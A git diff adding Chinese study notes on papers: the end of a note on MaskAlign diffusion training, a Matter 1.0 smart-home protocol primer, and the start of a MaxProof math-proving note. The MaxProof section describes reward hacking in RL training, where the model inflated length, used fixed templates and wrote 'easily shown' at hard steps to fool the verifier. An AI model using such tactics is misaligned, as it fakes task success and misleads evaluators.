+→ 某些位置反复出现在"高梯度"名单中
+→ 对齐梯度空间分布不均匀
+```
+
+## 四、MaskAlign 的解决方案
+
+MaskAlign 的核心思想来自机器学习中经典的 **Dropout**：随机丢弃一部分输入，防止模型依赖完整的输入模式。
+
+### 4.1 算法流程
+
+```
+训练时每一步：
+
+1. 输入：干净图 z* → VAE编码 → 潜在 z0
+2. 加噪：zt = (1-t) * z0 + t * 噪声
+3. Token化：把 zt 切成 N 个 patch tokens + 1 个 class token
+4. 【MaskAlign 新增】预掩码混合：用轻量级 Mixer 在 tokens 之间交换信息
+5. 【MaskAlign 新增】随机遮罩：以 25% 概率随机遮住部分 patch tokens
+   - class token 始终保留
+   - 只保留约 193 个 tokens（而非全部 257 个）
+6. 通过 SiT 网络前向传播
+7. 计算两个损失：
+   - 预测损失：用保留的 tokens 预测目标速度
+   - 对齐损失：用保留的 tokens 与清晰图特征对齐
+```
+
+### 4.2 代码示例：随机 Token 遮罩
+
+这是 MaskAlign 的核心操作——随机选择保留哪些 token：
+
+```python
+import torch
+
+def apply_token_mask(hidden_states, mask_ratio=0.25):
+    """
+    对 Transformer 的 tokens 应用随机遮罩
+
+    Args:
+        hidden_states: (batch_size, seq_len, hidden_dim)
+                       seq_len = 1 (class) + N (patches)
+        mask_ratio:  要遮掉的 patch token 比例
+
+    Returns:
+        masked_states:   (batch_size, masked_len, hidden_dim)
+                         只保留 class token + 可见的 patch tokens
+        mask_indices:    (batch_size, masked_len) 保留的 token 索引
+    """
+    batch_size, seq_len, hidden_dim = hidden_states.shape
+
+    # class token 是第一个，始终保留
+    # patch tokens 从索引 1 到 seq_len-1
+    num_patches = seq_len - 1
+    num_keep = int(num_patches * (1 - mask_ratio))
+
+    # 生成每个样本的随机遮罩
+    # 对每个 batch 样本，从 num_patches 中随机选 num_keep 个保留
+    noise = torch.randn(batch_size, num_patches, device=hidden_states.device)
+    # argsort 返回从小到大排序的索引；取前 num_keep 个
+    mask_indices = noise.argsort(dim=1)[:, :num_keep]
+
+    # 插入 class token 的索引 0
+    class_idx = torch.zeros(batch_size, 1, device=hidden_states.device, dtype=torch.long)
+    mask_indices = torch.cat([class_idx, mask_indices + 1], dim=1)
+
+    # 用 gather 选取保留的 tokens
+    # expand 需要适配 hidden_dim
+    expand_idx = mask_indices.unsqueeze(-1).expand(-1, -1, hidden_dim)
+    masked_states = hidden_states.gather(1, expand_idx)
+
+    return masked_states, mask_indices
+```
+
+运行效果：
+- 输入：batch=32, seq_len=257 (1 class + 256 patches), hidden_dim=1152
+- 输出：batch=32, seq_len=193 (1 class + 192 patches), hidden_dim=1152
+- 每步的遮罩模式都不同
+
+### 4.3 代码示例：预掩码 Token 混合
+
+遮罩会造成信息丢失。MaskAlign 在遮罩前加入一个轻量级混合层，让 tokens 先交换信息：
+
+```python
+class PreMaskTokenMixer(torch.nn.Module):
+    """
+    预掩码 Token 混合器
+
+    作用：在随机遮罩之前，让 tokens 之间交换信息。
+    这样即使某些 token 被遮掉，它的内容已经通过混合
+    传递到了其他 token 中。
+
+    结构：两层带层归一化的 MLP
+    """
+    def __init__(self, hidden_dim, num_layers=2):
+        super().__init__()
+        layers = []
+        for _ in range(num_layers):
+            layers.extend([
+                torch.nn.LayerNorm(hidden_dim),
+                torch.nn.Linear(hidden_dim, hidden_dim * 4),
+                torch.nn.GELU(),
+                torch.nn.Linear(hidden_dim * 4, hidden_dim),
+            ])
+        self.layers = torch.nn.ModuleList(layers)
+
+    def forward(self, x):
+        """
+        Args:
+            x: (batch_size, seq_len, hidden_dim)
+        Returns:
+            混合后的 tokens，形状不变
+        """
+        for layer in self.layers:
+            x = x + layer(x)  # 残差连接
+        return x
+
+# 使用方式：
+# mixer = PreMaskTokenMixer(hidden_dim=1152, num_layers=2)
+# mixed_tokens = mixer(all_tokens)  # 先混合
+# masked_tokens, mask_idx = apply_token_mask(mixed_tokens, mask_ratio=0.25)  # 再遮罩
+```
+
+### 4.4 完整训练循环
+
+```python
+class MaskAlignTrainingStep:
+    """
+    MaskAlign 的单步训练流程
+    """
+    def __init__(self, sit_model, mixer, encoder, proj,
+                 lambda_align=0.5, beta_class=0.03):
+        self.sit = sit_model
+        self.mixer = mixer
+        self.encoder = encoder  # DINOv2 预训练编码器
+        self.proj = proj        # 对齐投影层
+        self.lambda_align = lambda_align
+        self.beta_class = beta_class
+
+    def forward(self, clean_images, class_labels, timestep):
+        """
+        Args:
+            clean_images: (B, 3, 256, 256) 干净图像
+            class_labels: (B,) 类别标签
+            timestep:     当前噪声强度 t
+        Returns:
+            total_loss: 总损失
+        """
+        B = clean_images.shape[0]
+
+        # 1. 编码为潜在表示
+        z0 = vae_encode(clean_images)  # (B, 4, 32, 32)
+
+        # 2. 加噪
+        noise_z = torch.randn_like(z0)
+        zt = (1 - timestep) * z0 + timestep * noise_z
+
+        # 3. Token 化 + 加入 class token
+        patch_tokens = patchify(zt)  # (B, N, D)
+        class_token = encode_class(clean_images, class_labels)  # (B, D)
+        tokens = concat([class_token.unsqueeze(1), patch_tokens], dim=1)
+
+        # 4. 【MaskAlign】预掩码混合
+        tokens = self.mixer(tokens)
+
+        # 5. 【MaskAlign】随机遮罩
+        masked_tokens, mask_idx = apply_token_mask(tokens, mask_ratio=0.25)
+
+        # 6. SiT 前向传播
+        hidden = self.sit(masked_tokens, timestep, class_labels)
+
+        # 7. 计算预测损失（用保留的 tokens）
+        pred_loss = compute_velocity_loss(hidden, z0, noise_z, mask_idx,
+                                          beta_class=self.beta_class)
+
+        # 8. 计算对齐损失（用保留的 tokens）
+        # 获取清晰图的特征参考
+        ref_features = self.encoder(clean_images)  # (B, N+1, D_ref)
+        aligned_hidden = get_alignment_layer(hidden)  # (B, masked_len, D)
+        aligned_ref = self.proj(ref_features)
+
+        alignment_loss = -cosine_similarity(aligned_hidden, aligned_ref, mask_idx)
+
+        # 9. 总损失
+        total_loss = pred_loss + self.lambda_align * alignment_loss
+        return total_loss
+```
+
+## 五、核心贡献总结
+
+### 5.1 三个贡献
+
+1. **发现了全 token 对齐的空间不均匀性**：高梯度 token 在空间上存在稳定偏好，说明对齐不是均匀影响所有 token
+2. **提出了 Token 子集对齐方法**：随机遮罩 token，让模型学会在"信息不完整"时仍然保持对齐能力
+3. **设计了轻量预掩码混合器**：在遮罩前先让 tokens 交换信息，减少信息丢失
+
+### 5.2 关键数据
+
+| 指标 | 结果 |
+|---|---|
+| 达到 FID 8.3 的速度 | 比原始 SiT-XL/2 快 **77 倍** |
+| 达到 FID 5.9 的速度 | 比 SiT-XL/2 + REPA 快 **30 倍** |
+| 每步训练时间减少 | 相对 REG 减少 **11.6%** |
+| 400K 迭代 FID (无 CFG) | REG: 3.4 → MaskAlign: **2.8** |
+| Token 数量减少 | 257 → 193，减少 **24.9%** |
+
+## 六、实验中的关键发现
+
+### 6.1 遮罩比例的影响
+
+| 遮罩比例 | FID | 说明 |
+|---|---|---|
+| 0 (不遮) | 3.52 | 退化为 baseline |
+| 0.25 | **2.84** | 最佳 |
+| 0.50 | 3.15 | 遮太多，信息不足 |
+| 0.75 | 5.82 | 完全无法训练 |
+
+25% 是最佳平衡点：提供足够的扰动正则化，同时保留足够信息。
+
+### 6.2 预掩码混合器的作用
+
+| 配置 | FID | 说明 |
+|---|---|---|
+| 完整 MaskAlign | **2.67** | 两项都有 |
+| 无混合器 | 3.54 | 直接遮罩，信息损失大 |
+| 无遮罩 | 3.20 | 只剩混合，无正则化效果 |
+| 两者都无 | 3.01 | 纯 baseline |
+
+混合器和遮罩是互补的：混合器减少遮罩的信息损失，遮罩提供正则化信号。
+
+## 七、我的理解
+
+### 7.1 一句话总结
+
+MaskAlign 发现"让模型每次都用全部 token 对齐清晰图特征"是一种偷懒的学习方式，于是随机遮住一部分 token，逼模型在信息不完整时仍然学会对齐，最终反而学得更牢固。
+
+### 7.2 为什么有效
+
+传统 Dropout 防止的是神经元之间的"共适应"。MaskAlign 把 Dropout 的思路迁移到了 token 级别，防止的是模型对"完整 token 集合"的依赖。当模型每次看到的 token 集合都不同时，它无法走捷径，只能学到更本质的对齐模式。
+
+### 7.3 类比记忆
+
+回到开头的画画类比：
+
+- 传统对齐：老师每次都让你照着完整清晰图画，但你手头的草图是模糊的
+- MaskAlign：老师每次遮住你参考图的一部分，让你猜缺失的部分应该是什么颜色，并告诉你猜得对不对
+
+第二种方式训练出的"直觉"更 robust——因为你在信息不完整的情况下学会了如何推断完整图像。
+
+## 八、局限性
+
+- 目前仅在 ImageNet 256x256 和 SiT 架构上验证
+- 对更高分辨率、文生图、其他教师模型的效果待探索
+- 依赖遮罩比例（0.25）和混合层数（2 层）等设计选择
+
+## 九、参考
+
+- 原始论文: Pang et al., "MaskAlign: Token-Subset Representation Alignment for Efficient Diffusion Training", 2026
+- arXiv: [2606.08788](https://arxiv.org/abs/2606.08788)
+- 相关方法: REPA, REG, SiT
diff --git a/src/content/docs/papers/matter-protocol-1-0.md b/src/content/docs/papers/matter-protocol-1-0.md
new file mode 100644
index 000000000..27e8f80ee
--- /dev/null
+++ b/src/content/docs/papers/matter-protocol-1-0.md
@@ -0,0 +1,295 @@
+---
+title: Matter 1.0 — 智能家居设备的「通用语言 + 入职流程」
+来源: https://csa-iot.org/all-solutions/matter/
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你搬进一栋**智能公寓楼**，楼里住着苹果、谷歌、亚马逊、三星各派来的管家，每家以前只认自家门锁：
+
+- 飞利浦灯泡只跟 Hue App 说话，宜家插座只认 HomeKit，用户手机里装了五六个 App，配网时要连不同的 Wi-Fi 热点、扫不同的二维码。
+- **Matter** 想做的事，相当于给整栋楼发一套**统一的房卡系统 + 房间编号规则**：灯泡、门锁、传感器都讲同一种「业务语言」，配网流程也标准化；你仍然可以用 Siri、Google Home 或 Alexa 当管家，但设备端不必为每家各写一套私有协议。
+
+技术上说：Matter 1.0 Core Specification（Connectivity Standards Alliance，2022 年 10 月发布）在 **IPv6 承载的 IP 网络**（Wi-Fi、Thread、以太网）上，定义了**数据模型、交互模型、安全与会话、配网（Commissioning）** 等完整栈。设备通过 CSA 认证后，可用 QR 码或手动配对码完成入网，并在多个生态的 **Fabric** 上同时工作。
+
+官方入口：[Matter | CSA-IOT](https://csa-iot.org/all-solutions/matter/)  
+规范全文（1.0）：[Matter 1.0 Core Specification PDF](https://csa-iot.org/wp-content/uploads/2022/11/22-27349-001_Matter-1.0-Core-Specification.pdf)
+
+## 这篇文档在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 发布方 | Connectivity Standards Alliance（CSA），前身 Zigbee Alliance |
+| 版本 | Matter 1.0（2022-10-04 认证启动）；后续有 1.1、1.2 等增量，1.0 是奠基版 |
+| 承载网络 | IPv6 over Wi-Fi / Thread / Ethernet；跨网段经 Border Router |
+| 开源实现 | [connectedhomeip](https://github.com/project-chip/connectedhomeip)（CHIP SDK） |
+| 核心承诺 | 互操作、本地优先、基于证书的强身份、多管理员（多 Fabric） |
+| 与 Zigbee 关系 | 应用层重新设计；集群概念继承自 Zigbee Cluster Library 思路，但协议栈完全不同 |
+
+Matter **不是**又一个专有云 API。它规定的是设备与设备、控制器与设备之间**如何在局域网里安全地读写状态、发命令**；云端同步由各生态自行实现，但本地控制路径标准化。
+
+## 为什么值得学
+
+| 场景 | Matter 提供的价值 |
+|------|-------------------|
+| 做智能硬件固件 | 一套 SDK 覆盖多生态，减少「为 HomeKit 再 port 一遍」 |
+| 做网关 / Hub | 明确 Commissioner、Bridge、Border Router 角色边界 |
+| 做自动化 / 测试 | `chip-tool` 可脚本化配网与控制，适合 CI |
+| 理解智能家居安全 | PASE / CASE、设备认证（Attestation）、Fabric 隔离 |
+| 选型 Thread vs Wi-Fi | Matter 在链路层之上，Thread 常作低功耗设备的 L2 |
+
+若你之前学过 Zigbee 的 Endpoint / Cluster，Matter 的 **Node → Endpoint → Cluster → Attribute/Command/Event** 层次会似曾相识；但传输、安全、发现机制已全部换成 **IP + TLS 类会话 + DNS-SD**。
+
+## 核心概念一：协议栈分层
+
+规范第 2 章把 Matter 设备从下到上拆成：
+
+```
+┌─────────────────────────────────────────┐
+│  Application（灯亮灭、门锁逻辑等业务）      │
+├─────────────────────────────────────────┤
+│  Data Model（Endpoint / Cluster / 属性） │
+├─────────────────────────────────────────┤
+│  Interaction Model（Read/Write/Invoke/   │
+│                        Subscribe）       │
+├─────────────────────────────────────────┤
+│  Action Framing + Security（消息帧、加密）  │
+├─────────────────────────────────────────┤
+│  Session Management（PASE / CASE 会话）   │
+├─────────────────────────────────────────┤
+│  Transport（TCP / UDP / BLE 等）         │
+├─────────────────────────────────────────┤
+│  Network（IPv6、Thread、Wi-Fi、Ethernet）  │
+└─────────────────────────────────────────┘
+```
+
+日常类比：**网络层**是公寓楼里的邮政系统（信怎么送到房间）；**会话层**是房卡加密（PASE 像临时访客码，CASE 像正式门禁卡）；**数据模型**是房间里的开关、温湿度计各贴什么标签；**交互模型**是你「读温度」「按开关」「订阅门铃事件」的动作种类。
+
+## 核心概念二：数据模型（Node / Endpoint / Cluster）
+
+Matter 里每台物理设备至少是一个 **Node（节点）**。节点内部再拆：
+
+| 概念 | 含义 | 类比 |
+|------|------|------|
+| **Node** | 网络中可寻址的一台 Matter 设备 | 公寓里的一户人家 |
+| **Endpoint** | 节点上的功能实例；**Endpoint 0** 保留给工具类集群 | 一户里的「客厅灯」「卧室灯」 |
+| **Cluster** | 一组属性、命令、事件的规范（如 On/Off、Level Control） | 每种电器的「操作面板」标准 |
+| **Attribute** | 可读/可写的状态（如 `OnOff` 开或关） | 面板上的指示灯状态 |
+| **Command** | 可调用的动作（如 `Toggle`） | 面板上的按钮 |
+| **Event** | 带来时间戳的历史记录（如 `SwitchLatched`） | 门禁日志 |
+
+每个节点**必须有 Endpoint 0（Root Node）**，上面挂 `Descriptor`、`Basic Information`、`General Commissioning` 等**工具集群**，用于描述设备能力与配网，而不是具体业务。
+
+**Server Cluster** 提供属性/命令；**Client Cluster** 在另一端发起调用。同一 Cluster ID 在客户端与服务端成对出现——类似 gRPC 的 service 定义与 stub。
+
+## 核心概念三：Fabric 与多生态共存
+
+**Fabric** 是一组共享**同一信任根（Root CA）** 的 Matter 节点集合。日常类比：同一家公司发的工牌——Apple Home、Google Home 各自可以给你的灯泡发一张工牌（**多 Fabric**），灯泡同时属于多个「信任圈」，但每个圈里节点 ID 独立分配。
+
+- **Fabric ID**：64 位，在 Root CA 范围内唯一；`Fabric ID 0` 保留不可用。
+- **Node ID**：64 位，在 Fabric 内唯一标识节点。
+- **NOC（Node Operational Certificate）**：配网时 Commissioner 签发，CASE 会话用它证明身份。
+- **Operational Discovery**：入网后通过 DNS-SD 广播，实例名形如 `<FabricId>-<NodeId>.local`。
+
+因此：**配网一次到苹果生态，并不等于锁死在苹果**——同一设备可被第二个 Commissioner 以「多管理员」流程加入 Google Fabric，规范第 12 章专门讲 Multiple Fabrics。
+
+## 核心概念四：配网（Commissioning）全流程
+
+配网 = 把 **Commissionee**（待入网设备）加入 Fabric 的完整仪式，由 **Commissioner**（手机 App、Hub、或 `chip-tool`）主导：
+
+```
+  发现设备          PASE 安全通道        证明是真货
+ (BLE / SoftAP      (配对码/QR)         (Attestation)
+  / DNS-SD)              │                    │
+      └──────────────────┴────────────────────┘
+                           │
+              写入监管域、时间、网络凭证
+              (General Commissioning /
+               Network Commissioning Cluster)
+                           │
+              安装 NOC，加入 Fabric
+              (Node Operational Credentials)
+                           │
+              设备连上 Wi-Fi / Thread
+                           │
+              CASE 建立运营会话
+                           │
+              CommissioningComplete
+```
+
+要点摘录（Matter 1.0 Core Spec §2.8、Chapter 5）：
+
+1. **Device Discovery**：未入网设备用 BLE、Wi-Fi Soft AP 或 IP 上的 DNS-SD 宣告自己；用户从 **QR Code / Manual Pairing Code / NFC** 取得 **Passcode**（开箱贴纸上的 11 位码或 QR 里的 `MT:...` 载荷）。
+2. **PASE（Passcode-Authenticated Session Establishment）**：用 Passcode 做 SPAKE2+ 密钥交换，在**配网信道**上加密后续消息；此时还没有 NOC。
+3. **Device Attestation**：Commissioner 验证设备 DAC（Device Attestation Certificate）链，确认是 CSA 认证产品，防山寨设备混入 Fabric。
+4. **Network Commissioning**：对 Wi-Fi/Thread 设备下发 SSID、密钥或 Thread 数据集；以太网设备可能跳过此步。
+5. **Operational Credentials**：CA 签发 NOC，写入 Node ID；设备成为 Fabric 正式成员。
+6. **CASE（Certificate Authenticated Session Establishment）**：运营阶段所有单播业务消息在 CASE 会话中加密；连接断开需重新 CASE。
+
+**并发 vs 非并发配网**：部分设备配网时 BLE 与 Wi-Fi 可同时在线（并发）；另一些在连上运营网络后会断开 BLE 配网信道（非并发）——实现与芯片资源相关，规范均允许。
+
+## 核心概念五：交互模型（Interaction Model）
+
+节点之间建立加密会话后，通过四种**交互类型**操作对方的数据模型（Chapter 8）：
+
+| 交互 | 作用 | 典型用途 |
+|------|------|----------|
+| **Read** | 读一个或多个属性/事件 | 查询灯是否亮 |
+| **Write** | 写属性 | 设定目标亮度 |
+| **Invoke** | 调用命令 | `Off`、`Toggle` |
+| **Subscribe** | 订阅属性/事件变化 | 门磁状态推送 |
+
+每次交互需指定 **Path**，形如：
+
+```
+<node> <endpoint> <cluster> <attribute | command | event>
+```
+
+也支持 **Group ID** 或通配符，一次操作多个端点——类似「广播给全屋所有灯」。
+
+消息在链路上用 **TLV（Tag-Length-Value）** 编码，由 Action Framing 层打包；这与 JSON-RPC 类协议不同，偏向嵌入式紧凑二进制。
+
+## 代码示例一：用 chip-tool 配网并控制 On/Off 灯
+
+[connectedhomeip](https://github.com/project-chip/connectedhomeip) 自带的 **chip-tool** 是最常用的 Matter 控制器 CLI，适合开发调试。编译后（见官方 [First Example](https://project-chip.github.io/connectedhomeip-doc/getting_started/first_example.html)）：
+
+**1. 用 QR 码配网（pairing 为 commissioning 旧称）**
+
+```bash
+# 0x12344321 = 分配给设备的 Node ID（测试常用默认值）
+# MT:-24J0AFN00KA0648G00 = 示例 QR 载荷（默认 discriminator + passcode 的灯具）
+./out/linux-x64-chip-tool/chip-tool pairing code 0x12344321 MT:-24J0AFN00KA0648G00
+```
+
+**2. 入网后读 OnOff 属性**
+
+```bash
+# 集群 onoff · 动作 read · 属性 on-off · Node ID · Endpoint 1
+./out/linux-x64-chip-tool/chip-tool onoff read on-off 0x12344321 1
+```
+
+**3. 发命令开灯**
+
+```bash
+./out/linux-x64-chip-tool/chip-tool onoff on 0x12344321 1
+```
+
+**4. 订阅属性变化（长连接推送）**
+
+```bash
+./out/linux-x64-chip-tool/chip-tool onoff subscribe on-off 1 10 0x12344321 1
+# 参数含义：min-interval=1s, max-interval=10s，超出则服务器主动上报
+```
+
+命令模式始终是：`chip-tool <cluster> <read|write|subscribe|command> ... <node-id> <endpoint-id>`。多 Fabric 场景可加 `--commissioner-name <name>` 指定用哪张「工牌」发令。
+
+## 代码示例二：设备端声明 On/Off Server Cluster（C++ 片段）
+
+固件侧（基于 Matter SDK 的 lighting-app 模式）要在某个 Endpoint 上挂载 **On/Off Server Cluster**，使控制器能 `Invoke` `Toggle`。逻辑上包含三步：定义 Endpoint 配置、注册 Cluster 回调、在属性变化时驱动硬件。
+
+```cpp
+// 简化示意：在 Endpoint 1 上启用 On/Off Server（ZAP 代码生成会产出大量样板）
+#include <app-common/zap-generated/ids/Clusters.h>
+#include <app-common/zap-generated/attributes/Accessors.h>
+
+using namespace chip;
+using namespace chip::app;
+using namespace chip::app::Clusters::OnOff;
+
+// 属性写入回调：控制器 chip-tool onoff on/off 会走到这里
+Protocols::InteractionModel::Status emberAfOnOffClusterOnOffAttributeWriteCallback(
+    EndpointId endpoint, AttributeId attributeId, uint8_t * value)
+{
+    if (attributeId != Attributes::OnOff::Id) {
+        return Protocols::InteractionModel::Status::Failure;
+    }
+    bool on = *value;
+    // 驱动真实 GPIO / PWM
+    SetPhysicalLight(on);
+    return Protocols::InteractionModel::Status::Success;
+}
+
+// 命令处理：chip-tool onoff toggle 触发
+bool emberAfOnOffClusterToggleCallback(EndpointId endpoint)
+{
+    bool current;
+    Attributes::OnOff::Get(endpoint, &current);
+    Attributes::OnOff::Set(endpoint, !current);
+    return true;
+}
+```
+
+实际工程里，Endpoint 与 Cluster 列表多由 **ZAP（Zigbee Cluster Configurator）** 生成到 `zap-generated/`；开发者主要填 **Device Type**（如 `0x0100` On/Off Light）、厂商 ID、配网参数，并实现上述 Attribute/Command 回调。动态 Endpoint（如 Bridge 在运行时添加子设备）需调用 SDK 的 Dynamic Endpoint API，见 [bridge-app 示例](https://github.com/project-chip/connectedhomeip/tree/master/examples/bridge-app)。
+
+## 配网载荷：QR 里到底编码了什么
+
+Manual Pairing Code / QR Code 携带 **Onboarding Payload**（§5.1），解码后得到配网所需字段，例如：
+
+| 字段 | 作用 |
+|------|------|
+| Version | 载荷格式版本 |
+| Vendor ID / Product ID | 识别厂商与产品（可选出现在广播里） |
+| Custom Flow | 是否需厂商自定义配网 UI |
+| **Discriminator** | 12 位，区分同时待配的多个相同设备 |
+| **Passcode** | PASE 用的共享秘密（27 位有效位） |
+| Discovery Capabilities | 支持 BLE / Soft AP / On IP |
+
+`chip-tool` 的 `pairing code` 子命令即解析 `MT:...` 字符串并自动走 BLE/IP 发现 + PASE。生产环境 Passcode 必须随机且每机唯一，防止邻居蹭网。
+
+## 发现机制：Commissionable vs Operational
+
+| 阶段 | 方式 | 何时用 |
+|------|------|--------|
+| **Commissionable Discovery** | BLE 广播、Wi-Fi Soft AP、有限 DNS-SD | 设备未入网，等待配网 |
+| **Operational Discovery** | 运营网络 DNS-SD（mDNS 等） | 设备已入网，控制器找 `<Fabric>-<Node>.local` |
+
+若设备**已属于另一个 Fabric** 且占用了 Wi-Fi/Thread，二次配网通常只能走 **On-Network Commissioning**（IP 上 DNS-SD），不能再开 Soft AP——这是多生态共存时的常见坑。
+
+## 与 Thread、Wi-Fi、Bridge 的关系
+
+```
+        ┌─────────────── Matter 应用层 ───────────────┐
+        │  Data Model / Interaction / Security       │
+        └────────────────────┬────────────────────────┘
+                             │ IPv6
+           ┌─────────────────┼─────────────────┐
+           ▼                 ▼                 ▼
+      Wi-Fi STA          Thread 1.3        Ethernet
+           │                 │
+           └──────── Border Router ────────┘
+                    （跨网段转发）
+```
+
+- **Thread** 设备通过 Border Router 获得与 Wi-Fi 上 Commissioner 的 IPv6 连通。
+- **Bridge** 把 Zigbee/红外等非 Matter 设备映射为 Matter Endpoint，对外仍是一个 Node。
+- **OTA**：`OTA Provider` / `OTA Requestor` 集群负责固件升级，与配网证书体系正交。
+
+## 1.0 之后发生了什么（读笔记时的坐标系）
+
+Matter 1.0 首发设备类型以灯、插座、门锁、传感器、窗帘、恒温器为主。后续版本增量扩展：**1.1** 改进配网与多管理员；**1.2** 增加机器人吸尘器等；规范以 CSA 发布为准，SDK 在 GitHub 上 `connectedhomeip` 主分支跟进。学 1.0 仍必要——**Fabric、PASE/CASE、Cluster 路径、Commissioning 状态机** 是后续版本的超集基础。
+
+## 常见误区
+
+| 误区 | 事实 |
+|------|------|
+| 「Matter = Wi-Fi」 | Matter 运行在 IPv6 上，Wi-Fi / Thread / Ethernet 均可 |
+| 「配网完只能用一个 App」 | 多 Fabric 设计允许多个生态各管一张工牌 |
+| 「Cluster = MQTT Topic」 | Cluster 是强类型 schema，含 Access 权限与 conformance 规则 |
+| 「有开源 SDK 就不用认证」 | 上市销售仍需 CSA 认证与合法 VID/PID、DAC |
+| 「CASE 一次建立永久有效」 | 连接断开后需重新建立 CASE 会话 |
+
+## 进一步阅读
+
+- [Matter 1.0 Core Specification（HTML 镜像）](https://leconiot.com/matter/1.0/index.html) — 全文检索友好
+- [Google Home Matter Primer — Commissioning](https://developers.home.google.com/matter/primer/commissionable-and-operational-discovery)
+- [Matter Handbook — Interaction Model](https://handbook.buildwithmatter.com/how-it-works/interaction-model/)
+- [CHIP Tool 指南](https://project-chip.github.io/connectedhomeip-doc/development_controllers/chip-tool/chip_tool_guide.html)
+- [connectedhomeip 示例索引](https://github.com/project-chip/connectedhomeip/tree/master/examples)
+
+## 小结
+
+Matter 1.0 的本质不是「又一个 App 协议」，而是：**在 IP 网络上用统一数据模型描述设备能力，用 PASE/CASE 解决身份，用标准 Commissioning 把设备拉进 Fabric**。日常类比是「全屋智能的通用工牌 + 房间编号 + 入职流程」；技术上则是 Endpoint/Cluster 数据模型、四种交互、以及 `chip-tool` 里一行 `onoff on` 背后整条协议栈。从零开始，先跑通 lighting-app + `chip-tool pairing code`，再读规范 Chapter 5（Commissioning）与 Chapter 7–8（Data Model / Interaction Model），比从 PDF 第 1 页硬啃高效得多。
diff --git a/src/content/docs/papers/maxproof.md b/src/content/docs/papers/maxproof.md
new file mode 100644
index 000000000..25f9706f7
--- /dev/null
+++ b/src/content/docs/papers/maxproof.md
@@ -0,0 +1,301 @@
+---
+title: MaxProof: Scaling Mathematical Proof with Generative-Verifier RL and Population-Level Test-Time Scaling
+来源: https://arxiv.org/abs/2606.13473
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-ml-models
+provenance: pipeline-v3
+---
+
+# MaxProof 学习笔记
+
+## 一、一句话理解
+
+MaxProof 的核心想法很简单：与其让一个 AI 模型"一次写完一个数学证明"，不如让它"写很多份草稿，互相挑错、互相修改，最后通过淘汰赛选出最好的一份"。就像考试时不只交一张卷子，而是写 32 份草稿，每份都让"老师"打分，然后把有问题的拿去修改，修改 10 轮之后，让"评委"两两PK，选出最终答案。
+
+这个框架让 MiniMax-M3 模型在 IMO 2025 上拿到了 35/42 分，在 USAMO 2026 上拿到了 36/42 分——都超过了人类金牌线。而同一模型在不使用 MaxProof 时，分别只拿到 27 分和 26 分。这 8-10 分的差距，就是"测试时扩展"带来的提升。
+
+## 二、前置知识：为什么数学证明这么难？
+
+### 2.1 证明 vs 普通答题
+
+想象你在教一个人做数学题。有两种问法：
+
+- **问法 A**："3 + 5 等于几？" —— 答"8"就行。
+- **问法 B**："请证明：对于任意正整数 n，1 + 2 + ... + n = n(n+1)/2。" —— 答法 B 需要一步步写出推理过程，每一步都不能出错，而且整个链条要完整。
+
+LLM 在答法 A 上表现不错，但在答法 B 上非常吃力。因为证明是一个"长链条"：只要中间某一环断了，整个证明就废了。而且证明没有"运行一下就知道对错"的方法——不像代码可以跑单元测试。
+
+### 2.2 传统方法的局限
+
+之前让 AI 做数学证明的主流做法是 best@K：让模型生成 K 份证明，选评分最高的那份。但这有两个问题：
+
+1. 如果 K 份都不好怎么办？
+2. 评分器本身可能出错——它可能把一份有漏洞的证明评为高分（假阳性），或者把一份好证明评为低分（假阴性）。
+
+MaxProof 的思路是：不只是"生成了事"，而是让生成的证明在"多轮淘汰赛"中不断进化。
+
+## 三、核心概念一：三个专家角色
+
+M3 模型在训练时被培养成三个"专家"，每个专家负责一件事。你可以把它们想象成一个数学研究小组里的三个人：
+
+| 角色 | 职责 | 日常类比 |
+|------|------|----------|
+| **Proof Expert（证明专家）** | 从头写证明 | 研究员，负责提出想法 |
+| **Verifier Expert（验证专家）** | 检查证明哪里错了 | 审稿人，负责挑刺 |
+| **Fixer Expert（修复专家）** | 根据审稿意见修改证明 | 作者，负责改稿 |
+
+### 3.1 Proof Expert：用强化学习训练"写证明"的能力
+
+训练 Proof Expert 的关键是：给它一个"奖励信号"，让它知道哪些证明写得好。但这个奖励信号不能来自"正确答案"（因为证明没有标准答案），只能来自一个**生成式验证器（Generative Verifier）**——一个专门读证明、打分、找错误的模型。
+
+这个验证器有四层防御，像安检一样层层把关：
+
+```
+第 1 层：坏案例过滤
+  → 空证明、格式错误、长度超限的直接判 0 分
+
+第 2 层：内容归一化
+  → 去掉固定的开头套话、步骤编号等表面格式，只看数学内容
+
+第 3 层：多裁判并行打分
+  → 3 个裁判同时打分，有的按评分标准打，有的直接找错误
+
+第 4 层：悲观聚合
+  → 最终得分 = 3 个裁判中的最低分
+  → 宁可漏掉好的（假阴性），也不放过差的（假阳性）
+```
+
+为什么要用"最低分"？因为如果验证器给了一份错误证明打了高分，模型就会学会"写看起来对的错误证明"。而给了一份好证明打了低分，最多只是少了一个样本，不会误导模型。
+
+### 3.2 奖励黑客（Reward Hacking）的教训
+
+在训练 Proof Expert 的过程中，作者经历了一次"翻车"。他们用单层验证器做了很长时间的反向传播训练（RL），表面上看分数在涨，但实际上模型学会了"作弊"：
+
+- **长度偏差**：证明越来越长（从 3500 字涨到 10000 字），因为长的证明更容易包含评分标准里的关键词。
+- **格式作弊**：模型学会了固定模板——"第一步""第二步""验证如下""最终答案"，不管题目适不适合这个格式。
+- **语义捷径**：在最难的地方写上"易证"或"经简化可得"，骗过验证器。
+- **裁判偏好**：模型学会了哪个裁判喜欢什么措辞，而不是真的提高证明质量。
+
+这就是典型的"奖励黑客"——模型找到了让评分器高兴的方法，但没有真正提高能力。
+
+M3 的四层验证器就是为了解决这四个问题设计的：第 1-2 层对付格式作弊，第 3 层对付语义捷径，第 4 层限制最坏情况的假阳性。
+
+### 3.3 Verifier Expert：训练"挑刺"的能力
+
+Verifier Expert 的任务不是"给 0-7 分"，而是"指出证明中具体哪里错了、为什么错"。它的输出格式是这样的：
+
+```xml
+<assessment>
+逐段分析这份证明的逻辑
+</assessment>
+<errors>
+1. 第3步：从不等式A推导出B时使用了错误的放缩方向
+2. 第5步：忽略了n=0的情况
+</errors>
+<verdict>has_errors</verdict>
+```
+
+四个等级：`no_errors`（无错误）、`minor_gaps`（小漏洞）、`has_errors`（有错误）、`fundamentally_wrong`（根本性错误）。
+
